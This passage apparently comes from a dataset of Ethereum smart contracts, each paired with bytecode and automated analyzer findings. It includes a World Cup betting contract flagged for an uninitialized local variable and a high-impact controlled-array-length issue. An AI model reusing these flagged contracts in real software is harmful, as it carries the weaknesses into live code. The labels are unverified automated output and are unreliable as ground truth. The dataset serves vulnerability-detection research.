ffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf957600080fd5b81600060156101000a81548160ff02191690831515021790555060019050919050565b60048054611c2990612b80565b80601f0160208091040260200160405190810160405280929190818152602001828054611c5590612b80565b8015611ca25780601f10611c7757610100808354040283529160200191611ca2565b820191906000526020600020905b815481529060010190602001808311611c8557829003601f168201915b505050505081565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611dff57600060149054906101000a900460ff16611d67577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b600060159054906101000a900460ff1615611dfe57600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611dfd577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5b5b838073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff1614158015611e6a57503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff1614155b611e9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60008411611eaa57600080fd5b83600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611f815750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f7f91906129bf565b115b156120a05783600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fd59190612aa0565b9250508190555083600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461202b91906129bf565b925050819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161208f919061296d565b60405180910390a3600192506120a5565b600092505b505092915050565b600f6020528060005260406000206000915090505481565b600c5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461212357600080fd5b600d60009054906101000a900460ff1615612173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216a9061294d565b60405180910390fd5b6001600d60006101000a81548160ff02191690831515021790555080600c8190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121f057600080fd5b600d60009054906101000a900460ff1661223f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122369061292d565b60405180910390fd5b6000600d60006101000a81548160ff021916908315150217905550565b60016020528060005260406000206000915054906101000a900460ff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060159054906101000a900460ff1681565b600e6020528060005260406000206000915090505481565b600d60009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461239957600080fd5b80600060146101000a81548160ff02191690831515021790555050565b6000806123c583600c5461258b565b9050600b54600b54600b54836123db9190612a15565b6123e59190612a46565b426123f09190612aa0565b6123fa9190612a15565b915050919050565b6006548160065461241391906129bf565b1161241d57600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a891906129bf565b116124b257600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461250191906129bf565b92505081905550806006600082825461251a91906129bf565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161257f919061296d565b60405180910390a35050565b60008183101561259b578161259d565b825b905092915050565b6000813590506125b481612c99565b92915050565b6000813590506125c981612cb0565b92915050565b6000813590506125de81612cc7565b92915050565b6000815190506125f381612cc7565b92915050565b60006020828403121561260b57600080fd5b6000612619848285016125a5565b91505092915050565b6000806040838503121561263557600080fd5b6000612643858286016125a5565b9250506020612654858286016125a5565b9150509250929050565b60008060006060848603121561267357600080fd5b6000612681868287016125a5565b9350506020612692868287016125a5565b92505060406126a3868287016125cf565b9150509250925092565b600080604083850312156126c057600080fd5b60006126ce858286016125a5565b92505060206126df858286016125cf565b9150509250929050565b6000602082840312156126fb57600080fd5b6000612709848285016125ba565b91505092915050565b60006020828403121561272457600080fd5b6000612732848285016125cf565b91505092915050565b60006020828403121561274d57600080fd5b600061275b848285016125e4565b91505092915050565b61276d81612ad4565b82525050565b61277c81612ae6565b82525050565b61278b81612b29565b82525050565b600061279c826129a3565b6127a681856129ae565b93506127b6818560208601612b4d565b6127bf81612c88565b840191505092915050565b60006127d7601f836129ae565b91507f4d696e696e672069732063757272656e746c7920756e617661696c61626c65006000830152602082019050919050565b60006128176016836129ae565b91507f4d696e696e672069732063757272656e746c79206f6e000000000000000000006000830152602082019050919050565b61285381612b12565b82525050565b61286281612b1c565b82525050565b600060208201905061287d6000830184612764565b92915050565b60006040820190506128986000830185612764565b6128a56020830184612764565b9392505050565b60006040820190506128c16000830185612764565b6128ce602083018461284a565b9392505050565b60006020820190506128ea6000830184612773565b92915050565b60006020820190506129056000830184612782565b92915050565b600060208201905081810360008301526129258184612791565b905092915050565b60006020820190508181036000830152612946816127ca565b9050919050565b600060208201905081810360008301526129668161280a565b9050919050565b6000602082019050612982600083018461284a565b92915050565b600060208201905061299d6000830184612859565b92915050565b600081519050919050565b600082825260208201905092915050565b60006129ca82612b12565b91506129d583612b12565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0a57612a09612bfb565b5b828201905092915050565b6000612a2082612b12565b9150612a2b83612b12565b925082612a3b57612a3a612c2a565b5b828204905092915050565b6000612a5182612b12565b9150612a5c83612b12565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612a9557612a94612bfb565b5b828202905092915050565b6000612aab82612b12565b9150612ab683612b12565b925082821015612ac957612ac8612bfb565b5b828203905092915050565b6000612adf82612af2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612b3482612b3b565b9050919050565b6000612b4682612af2565b9050919050565b60005b83811015612b6b578082015181840152602081019050612b50565b83811115612b7a576000848401525b50505050565b60006002820490506001821680612b9857607f821691505b60208210811415612bac57612bab612c59565b5b50919050565b6000612bbd82612b12565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612bf057612bef612bfb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612ca281612ad4565b8114612cad57600080fd5b50565b612cb981612ae6565b8114612cc457600080fd5b50565b612cd081612b12565b8114612cdb57600080fd5b5056fea2646970667358221220a959afda5334498da1285559b8409b3d168c1ab7538451c2b64d4dcd0006a77a64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
6,825
0x6238972611f7933c6c0919c54447e2bac86f96e7
pragma solidity 0.4.24; contract CopaDelCrypto { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } struct Forecast { bytes32 part1; bytes32 part2; bytes32 part3; bytes12 part4; bool hasPaidOrWon; } uint256 public prizeValue; uint256 public resultsPublishedTime; bytes32 public worldCupResultPart1; bytes32 public worldCupResultPart2; bytes32 public worldCupResultPart3; bytes12 public worldCupResultPart4; bool public forecastingClosed; bool public resultsPublished; uint32 public resultsValidationStep; uint32 public verifiedWinnersCount; uint32 public verifiedWinnersLastCount; uint16 public publishedWinningScoreThreshold; uint16 public expectedWinnersCount; address[] public players; mapping(address => Forecast) public forecasts; function PlaceNewForecast(bytes32 f1, bytes32 f2, bytes32 f3, bytes12 f4) public payable { require(!forecastingClosed && msg.value == 50000000000000000 && !forecasts[msg.sender].hasPaidOrWon); forecasts[msg.sender].part1 = f1; forecasts[msg.sender].part2 = f2; forecasts[msg.sender].part3 = f3; forecasts[msg.sender].part4 = f4; forecasts[msg.sender].hasPaidOrWon = true; players.push(msg.sender); } function UpdateForecast(bytes32 f1, bytes32 f2, bytes32 f3, bytes12 f4) public { require(!forecastingClosed && forecasts[msg.sender].hasPaidOrWon); forecasts[msg.sender].part1 = f1; forecasts[msg.sender].part2 = f2; forecasts[msg.sender].part3 = f3; forecasts[msg.sender].part4 = f4; } function CloseForecasting(uint16 exWinCount) public onlyOwner { require(!forecastingClosed); require((exWinCount == 0 && players.length > 10000) || (exWinCount > 0 && (uint32(exWinCount) * uint32(exWinCount) >= players.length && uint32(exWinCount - 1) * uint32(exWinCount - 1) < players.length))); expectedWinnersCount = (players.length) > 10000 ? uint16(players.length / 100) : exWinCount; forecastingClosed = true; } function PublishWorldCupResults(bytes32 res1, bytes32 res2, bytes32 res3, bytes12 res4) public onlyOwner { require(forecastingClosed && !resultsPublished); worldCupResultPart1 = res1; worldCupResultPart2 = res2; worldCupResultPart3 = res3; worldCupResultPart4 = res4; resultsValidationStep = 0; verifiedWinnersCount = 0; verifiedWinnersLastCount = 0; resultsPublishedTime = block.timestamp; } function PublishWinnersScoreThres(uint16 scoreThres) public onlyOwner { require(forecastingClosed && !resultsPublished); publishedWinningScoreThreshold = scoreThres; } function VerifyPublishedResults(uint16 stepSize) public onlyOwner { require(forecastingClosed && !resultsPublished); require(stepSize > 0 && resultsValidationStep + stepSize <= players.length); uint32 wins; uint32 lasts; for (uint32 i = resultsValidationStep; i < resultsValidationStep + stepSize; i++) { Forecast memory fc = forecasts[players[i]]; uint16 score = scoreGroups(fc.part1, fc.part2, worldCupResultPart1, worldCupResultPart2) + scoreKnockouts(fc.part2, fc.part3, fc.part4); if (score >= publishedWinningScoreThreshold) { wins++; if (score == publishedWinningScoreThreshold) { lasts++; } forecasts[players[i]].hasPaidOrWon = true; } else { forecasts[players[i]].hasPaidOrWon = false; } } resultsValidationStep += stepSize; verifiedWinnersCount += wins; verifiedWinnersLastCount += lasts; if (resultsValidationStep == players.length) { verifiedWinnersCount = validateWinnersCount(verifiedWinnersCount, verifiedWinnersLastCount, expectedWinnersCount); verifiedWinnersLastCount = 0; expectedWinnersCount = 0; if (verifiedWinnersCount > 0) { prizeValue = address(this).balance / verifiedWinnersCount; resultsPublished = true; } } } function WithdrawPrize() public returns(bool) { require(prizeValue > 0); if (forecasts[msg.sender].hasPaidOrWon) { forecasts[msg.sender].hasPaidOrWon = false; if (!msg.sender.send(prizeValue)) { forecasts[msg.sender].hasPaidOrWon = true; return false; } return true; } return false; } function CancelGame() public onlyOwner { forecastingClosed = true; resultsPublished = true; resultsPublishedTime = block.timestamp; prizeValue = address(this).balance / players.length; } function CancelGameAfterResultsPublished() public onlyOwner { CancelGame(); for (uint32 i = 0; i < players.length; i++) { forecasts[players[i]].hasPaidOrWon = true; } } function WithdrawUnclaimed() public onlyOwner returns(bool) { require(resultsPublished && block.timestamp >= (resultsPublishedTime + 10 weeks)); uint256 amount = address(this).balance; if (amount > 0) { if (!msg.sender.send(amount)) { return false; } } return true; } function getForecastData(bytes32 pred2, bytes32 pred3, bytes12 pred4, uint8 index) public pure returns(uint8) { assert(index >= 32 && index < 108); if (index < 64) { return uint8(pred2[index - 32]); } else if (index < 96) { return uint8(pred3[index - 64]); } else { return uint8(pred4[index - 96]); } } function getResultData(uint8 index) public view returns(uint8) { assert(index >= 32 && index < 108); if (index < 64) { return uint8(worldCupResultPart2[index - 32]); } else if (index < 96) { return uint8(worldCupResultPart3[index - 64]); } else { return uint8(worldCupResultPart4[index - 96]); } } function computeGroupPhasePoints(uint8 pred, uint8 result) public pure returns(uint8) { uint8 gamePoint = 0; int8 predLeft = int8(pred % 16); int8 predRight = int8(pred >> 4); int8 resultLeft = int8(result % 16); int8 resultRight = int8(result >> 4); int8 outcome = resultLeft - resultRight; int8 predOutcome = predLeft - predRight; if ((outcome > 0 && predOutcome > 0) || (outcome < 0 && predOutcome < 0) || (outcome == 0 && predOutcome == 0)) { gamePoint += 4; } if (predLeft == resultLeft) { gamePoint += 2; } if (predRight == resultRight) { gamePoint += 2; } return gamePoint; } function computeKnockoutPoints(uint8 pred, uint8 result, uint8 shootPred, uint8 shootResult, uint8 roundFactorLeft, uint8 roundFactorRight, bool isInverted) public pure returns (uint16) { uint16 gamePoint = 0; int8 predLeft = int8(pred % 16); int8 predRight = int8(pred >> 4); int8 resultLeft = int8(result % 16); int8 resultRight = int8(result >> 4); int8 predOutcome = predLeft - predRight; int8 outcome = resultLeft - resultRight; if (predOutcome == 0) { predOutcome = int8(shootPred % 16) - int8(shootPred >> 4); } if (outcome == 0) { outcome = int8(shootResult % 16) - int8(shootResult >> 4); } if (isInverted) { resultLeft = resultLeft + resultRight; resultRight = resultLeft - resultRight; resultLeft = resultLeft - resultRight; outcome = -outcome; } if ((outcome > 0 && predOutcome > 0) || (outcome < 0 && predOutcome < 0)) { gamePoint += 4 * (roundFactorLeft + roundFactorRight); } gamePoint += 4 * ((predLeft == resultLeft ? roundFactorLeft : 0) + (predRight == resultRight ? roundFactorRight: 0)); return gamePoint; } function scoreGroups(bytes32 pred1, bytes32 pred2, bytes32 res1, bytes32 res2) public pure returns(uint16) { uint16 points = 0; for (uint8 f = 0; f < 48; f++) { if (f < 32) { points += computeGroupPhasePoints(uint8(pred1[f]), uint8(res1[f])); } else { points += computeGroupPhasePoints(uint8(pred2[f - 32]), uint8(res2[f - 32])); } } return points; } function scoreKnockouts(bytes32 pred2, bytes32 pred3, bytes12 pred4) public view returns(uint16) { uint8 f = 48; uint16 points = 0; int8[15] memory twinShift = [int8(16), 16, 16, 16, -16, -16, -16, -16, 8, 8, -8, -8, 4, -4, 0]; uint8[15] memory roundFactor = [uint8(2), 2, 2, 2, 2, 2, 2, 2, 4, 4, 4, 4, 8, 8, 16]; for (uint8 i = 0; i < 15; i++) { bool teamLeftOK = getForecastData(pred2, pred3, pred4, f) == getResultData(f); bool teamRightOK = getForecastData(pred2, pred3, pred4, f + 1) == getResultData(f + 1); if (teamLeftOK || teamRightOK) { points += computeKnockoutPoints(getForecastData(pred2, pred3, pred4, f + 2), getResultData(f + 2), getForecastData(pred2, pred3, pred4, f + 3), getResultData(f + 3), teamLeftOK ? roundFactor[i] : 0, teamRightOK ? roundFactor[i] : 0, false); if (i < 8) { points += (teamLeftOK ? 4 : 0) + (teamRightOK ? 4 : 0); } } bool isInverted = (i < 8) || i == 14; teamLeftOK = getForecastData(pred2, pred3, pred4, f) == (getResultData(uint8(int8(f + (isInverted ? 1 : 0)) + twinShift[i]))); teamRightOK = getForecastData(pred2, pred3, pred4, f + 1) == (getResultData(uint8(int8(f + (isInverted ? 0 : 1)) + twinShift[i]))); if (teamLeftOK || teamRightOK) { points += computeKnockoutPoints(getForecastData(pred2, pred3, pred4, f + 2), getResultData(uint8(int8(f + 2) + twinShift[i])), getForecastData(pred2, pred3, pred4, f + 3), getResultData(uint8(int8(f + 3) + twinShift[i])), teamLeftOK ? roundFactor[i] : 0, teamRightOK ? roundFactor[i] : 0, isInverted); if (i < 8) { points += (teamLeftOK ? 2 : 0) + (teamRightOK ? 2 : 0); } } f = f + 4; } return points; } function validateWinnersCount(uint32 winners, uint32 last, uint32 expected) public pure returns(uint32) { if (winners < expected) { return 0; } else if ((winners == expected && last >= 1) || (last > 1 && (winners - last) < expected)) { return winners; } else { return 0; } } }
0x6080604052600436106101875763ffffffff60e060020a60003504166303905f10811461018c5780630fd58d07146101cb57806315d44202146101e057806318d8ec5b1461020e5780633c33863c146102385780633d0948291461026f57806343cd2c40146102c7578063539fffc9146102f4578063581ff6e21461031d5780635f589599146103395780636186fe711461034e57806369ab98dd1461036a5780636b6d294e1461039c57806388279320146103c35780638bd5d30f146103d85780638da5cb5b146103f957806398a0e1c81461042a578063999cef0414610468578063a250f43b14610493578063a3c68e3d146104a8578063a8b322b6146104bd578063ac0840db146104d2578063b459c3fe146104e7578063b768628f146104fc578063c4c5f3de14610511578063ca99720014610526578063d785c19c14610554578063dc71db4314610569578063df5b588c1461057e578063e27e3fd31461059a578063ed7dd693146105af578063f00e6f0a146105cd578063f71d96cb146105e8575b600080fd5b34801561019857600080fd5b506101b4600435602435600160a060020a031960443516610600565b6040805161ffff9092168252519081900360200190f35b3480156101d757600080fd5b506101b4610a3e565b3480156101ec57600080fd5b506101f5610a4f565b6040805163ffffffff9092168252519081900360200190f35b34801561021a57600080fd5b506101f563ffffffff60043581169060243581169060443516610a6d565b34801561024457600080fd5b5061025960ff60043581169060243516610aed565b6040805160ff9092168252519081900360200190f35b34801561027b57600080fd5b50610290600160a060020a0360043516610b9e565b60408051958652602086019490945284840192909252600160a060020a031916606084015215156080830152519081900360a00190f35b3480156102d357600080fd5b506102f2600435602435604435600160a060020a031960643516610bd7565b005b34801561030057600080fd5b50610309610c5a565b604080519115158252519081900360200190f35b34801561032957600080fd5b506102f261ffff60043516610d14565b34801561034557600080fd5b5061030961119b565b34801561035a57600080fd5b506102f261ffff600435166111b5565b34801561037657600080fd5b5061037f6112b4565b60408051600160a060020a03199092168252519081900360200190f35b3480156103a857600080fd5b506103b16112c0565b60408051918252519081900360200190f35b3480156103cf57600080fd5b506103b16112c6565b3480156103e457600080fd5b506101b46004356024356044356064356112cc565b34801561040557600080fd5b5061040e611382565b60408051600160a060020a039092168252519081900360200190f35b34801561043657600080fd5b506101b460ff60043581169060243581169060443581169060643581169060843581169060a4351660c4351515611391565b34801561047457600080fd5b506102f2600435602435604435600160a060020a0319606435166114be565b34801561049f57600080fd5b506101f5611560565b3480156104b457600080fd5b506102f2611586565b3480156104c957600080fd5b506101f561162a565b3480156104de57600080fd5b506103b161163d565b3480156104f357600080fd5b50610309611643565b34801561050857600080fd5b506101b46116d2565b34801561051d57600080fd5b506103096116e3565b34801561053257600080fd5b50610259600435602435600160a060020a03196044351660ff606435166116f3565b34801561056057600080fd5b506103b1611782565b34801561057557600080fd5b506103b1611788565b34801561058a57600080fd5b506102f261ffff6004351661178e565b3480156105a657600080fd5b506102f2611819565b6102f2600435602435604435600160a060020a031960643516611887565b3480156105d957600080fd5b5061025960ff60043516611977565b3480156105f457600080fd5b5061040e600435611a0f565b600080600061060d611a37565b610615611a37565b60008060008060309750600096506101e060405190810160405280601060000b60000b8152602001601060000b8152602001601060000b8152602001601060000b8152602001600f1960000b8152602001600f1960000b8152602001600f1960000b8152602001600f1960000b8152602001600860000b8152602001600860000b815260200160071960000b815260200160071960000b8152602001600460000b815260200160031960000b81526020016000800b81525095506101e060405190810160405280600260ff1660ff168152602001600260ff168152602001600260ff168152602001600260ff168152602001600260ff168152602001600260ff168152602001600260ff168152602001600260ff168152602001600460ff168152602001600460ff168152602001600460ff168152602001600460ff168152602001600860ff168152602001600860ff168152602001601060ff168152509450600093505b600f8460ff161015610a2e5761078f88611977565b60ff1661079e8d8d8d8c6116f3565b60ff161492506107b088600101611977565b60ff166107c28d8d8d8c6001016116f3565b60ff1614915082806107d15750815b1561088f576108586107e88d8d8d8c6002016116f3565b6107f48a600201611977565b6108038f8f8f8e6003016116f3565b61080f8c600301611977565b8761081b576000610830565b8960ff8a16600f811061082a57fe5b60200201515b8761083c576000610851565b8a60ff8b16600f811061084b57fe5b60200201515b6000611391565b8701965060088460ff16101561088f5781610874576000610877565b60045b83610883576000610886565b60045b0160ff16870196505b60088460ff1610806108a457508360ff16600e145b90506108d48660ff8616600f81106108b857fe5b6020020151826108c95760006108cc565b60015b8a0101611977565b60ff166108e38d8d8d8c6116f3565b60ff16149250610915868560ff16600f811015156108fd57fe5b60200201518261090e5760016108cc565b8901611977565b60ff166109278d8d8d8c6001016116f3565b60ff1614915082806109365750815b15610a1d576109e661094d8d8d8d8c6002016116f3565b61096e8860ff8816600f811061095f57fe5b60200201518b60020101611977565b61097d8f8f8f8e6003016116f3565b61099e8a60ff8a16600f811061098f57fe5b60200201518d60030101611977565b876109aa5760006109bf565b8960ff8a16600f81106109b957fe5b60200201515b876109cb5760006109e0565b8a60ff8b16600f81106109da57fe5b60200201515b87611391565b8701965060088460ff161015610a1d5781610a02576000610a05565b60025b83610a11576000610a14565b60025b0160ff16870196505b60049097019660019093019261077a565b50949a9950505050505050505050565b60065460e060020a900461ffff1681565b6006546e010000000000000000000000000000900463ffffffff1681565b60008163ffffffff168463ffffffff161015610a8b57506000610ae6565b8163ffffffff168463ffffffff16148015610aad575060018363ffffffff1610155b80610ad6575060018363ffffffff16118015610ad657508163ffffffff1683850363ffffffff16105b15610ae2575082610ae6565b5060005b9392505050565b600080600f80851690601060ff878116829004928716919087160480820383850381870b87128015610b22575060008160000b135b80610b3e575060008260000b128015610b3e575060008160000b125b80610b5a57508160000b6000148015610b5a57508060000b6000145b15610b66576004870196505b8360000b8660000b1415610b7b576002870196505b8260000b8560000b1415610b90576002870196505b509498975050505050505050565b60086020526000908152604090208054600182015460028301546003909301549192909160a060020a810290606060020a900460ff1685565b600654606060020a900460ff16158015610c0a575033600090815260086020526040902060030154606060020a900460ff165b1515610c1557600080fd5b33600090815260086020526040902093845560018401929092556002830155600390910180546bffffffffffffffffffffffff191660a060020a909204919091179055565b600080600154111515610c6c57600080fd5b33600090815260086020526040902060030154606060020a900460ff1615610d0d573360008181526008602052604080822060030180546cff00000000000000000000000019169055600154905181156108fc0292818181858888f193505050501515610d05575033600090815260086020526040812060030180546cff0000000000000000000000001916606060020a179055610d11565b506001610d11565b5060005b90565b6000806000610d21611a57565b60008054600160a060020a03163314610d3957600080fd5b600654606060020a900460ff168015610d6657506006546d0100000000000000000000000000900460ff16155b1515610d7157600080fd5b60008661ffff16118015610daa575060075460065463ffffffff6e010000000000000000000000000000909104811661ffff8916011611155b1515610db557600080fd5b6006546e010000000000000000000000000000900463ffffffff1692505b60065463ffffffff6e010000000000000000000000000000909104811661ffff88160181169084161015610fd6576008600060078563ffffffff16815481101515610e1a57fe5b600091825260208083209190910154600160a060020a031683528281019390935260409182019020815160a081018352815481526001820154938101849052600282015492810183905260039091015460a060020a8102600160a060020a03191660608301819052606060020a90910460ff1615156080830152909450610ea2929190610600565b610eba836000015184602001516003546004546112cc565b6006549101915061ffff60d060020a909104811690821610610f655760065460019095019461ffff82811660d060020a909204161415610efb576001909301925b60016008600060078663ffffffff16815481101515610f1657fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190206003018054911515606060020a026cff00000000000000000000000019909216919091179055610fcb565b60006008600060078663ffffffff16815481101515610f8057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190206003018054911515606060020a026cff000000000000000000000000199092169190911790555b600190920191610dd3565b60068054760100000000000000000000000000000000000000000000609060020a63ffffffff6e010000000000000000000000000000808504821661ffff8d16018216810271ffffffff0000000000000000000000000000199095169490941782810482168b01821690920275ffffffff000000000000000000000000000000000000199092169190911782810482168901821690920279ffffffff00000000000000000000000000000000000000000000199092169190911792839055600754919092049091161415611193576006546110e99063ffffffff609060020a820481169176010000000000000000000000000000000000000000000081049091169061ffff60e060020a90910416610a6d565b6006805475ffffffff0000000000000000000000000000000000001916609060020a63ffffffff9384168102919091177fffff0000ffff00000000ffffffffffffffffffffffffffffffffffffffffffff169182905560009104909116111561119357600654609060020a900463ffffffff16303181151561116757fe5b04600155600680546dff0000000000000000000000000019166d01000000000000000000000000001790555b505050505050565b6006546d0100000000000000000000000000900460ff1681565b600054600160a060020a031633146111cc57600080fd5b600654606060020a900460ff16156111e357600080fd5b61ffff81161580156111f85750600754612710105b8061123c575060008161ffff1611801561123c575060075463ffffffff61ffff83168002161080159061123c575060075463ffffffff61ffff600019840116800216105b151561124757600080fd5b600754612710106112585780611260565b600754606490045b600680546cff0000000000000000000000001961ffff9390931660e060020a027fffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161791909116606060020a17905550565b60065460a060020a0281565b60055481565b60015481565b600080805b60308160ff1610156113785760208160ff161015611334576113288760ff8316602081106112fb57fe5b60f860020a91901a8102048660ff84166020811061131557fe5b1a60f860020a0260f860020a9004610aed565b60ff1682019150611370565b6113688660ff601f198401166020811061134a57fe5b60f860020a91901a8102048560ff601f198501166020811061131557fe5b60ff16820191505b6001016112d1565b5095945050505050565b600054600160a060020a031681565b6000806000806000806000806000965060108f60ff168115156113b057fe5b06955060048f60ff169060020a9004945060108e60ff168115156113d057fe5b06935050601060ff8e1604915050828403818303600082900b15156113fe57601060ff8e1604600f8e160391505b8060000b600014156114185750601060ff8c1604600f8c16035b881561142d5792820191820391829003926000035b60008160000b138015611443575060008260000b135b8061145f575060008160000b12801561145f575060008260000b125b1561147257898b0160040260ff16870196505b8260000b8560000b14611486576000611488565b895b8460000b8760000b1461149c57600061149e565b8b5b0160040260ff168701965086975050505050505050979650505050505050565b600054600160a060020a031633146114d557600080fd5b600654606060020a900460ff16801561150257506006546d0100000000000000000000000000900460ff16155b151561150d57600080fd5b600393909355600491909155600555600680546bffffffffffffffffffffffff191660a060020a9092049190911779ffffffffffffffffffffffff00000000000000000000000000001916905542600255565b600654760100000000000000000000000000000000000000000000900463ffffffff1681565b60008054600160a060020a0316331461159e57600080fd5b6115a6611819565b5060005b60075463ffffffff821610156116275760016008600060078463ffffffff168154811015156115d557fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190206003018054911515606060020a026cff000000000000000000000000199092169190911790556001016115aa565b50565b600654609060020a900463ffffffff1681565b60025481565b600080548190600160a060020a0316331461165d57600080fd5b6006546d0100000000000000000000000000900460ff1680156116875750600254625c4900014210155b151561169257600080fd5b50303160008111156116c957604051339082156108fc029083906000818181858888f1935050505015156116c957600091506116ce565b600191505b5090565b60065460d060020a900461ffff1681565b600654606060020a900460ff1681565b600060208260ff161015801561170c5750606c8260ff16105b151561171457fe5b60408260ff161015611748578460ff601f198401166020811061173357fe5b1a60f860020a0260f860020a9004905061177a565b60608260ff161015611767578360ff603f198401166020811061173357fe5b8260ff605f19840116600c811061173357fe5b949350505050565b60035481565b60045481565b600054600160a060020a031633146117a557600080fd5b600654606060020a900460ff1680156117d257506006546d0100000000000000000000000000900460ff16155b15156117dd57600080fd5b6006805461ffff90921660d060020a027fffffffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b600054600160a060020a0316331461183057600080fd5b600680546dff00000000000000000000000000196cff00000000000000000000000019909116606060020a17166d010000000000000000000000000017905542600255600754303181151561188157fe5b04600155565b600654606060020a900460ff161580156118a757503466b1a2bc2ec50000145b80156118cd575033600090815260086020526040902060030154606060020a900460ff16155b15156118d857600080fd5b3360008181526008602052604081209586556001808701959095556002860193909355600390940180546cff0000000000000000000000001960a060020a9093046bffffffffffffffffffffffff199091161791909116606060020a17905560078054928301815590527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c688018054600160a060020a0319169091179055565b600060208260ff16101580156119905750606c8260ff16105b151561199857fe5b60408260ff1610156119ce5760045460ff601f19840116602081106119b957fe5b1a60f860020a0260f860020a90049050611a0a565b60608260ff1610156119ef5760055460ff603f19840116602081106119b957fe5b60065460a060020a0260ff605f19840116600c81106119b957fe5b919050565b6007805482908110611a1d57fe5b600091825260209091200154600160a060020a0316905081565b6101e060405190810160405280600f906020820280388339509192915050565b6040805160a081018252600080825260208201819052918101829052606081018290526080810191909152905600a165627a7a723058204827e58c66ef6f002c7fad84473f238246be6d5dc6b5a2565ef62f22825181220029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,826
0x9fe392d188e1d1abfb607cf42250f31e2a042f46
pragma solidity ^0.4.24; /** * @title Math * @dev Assorted math operations */ library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns 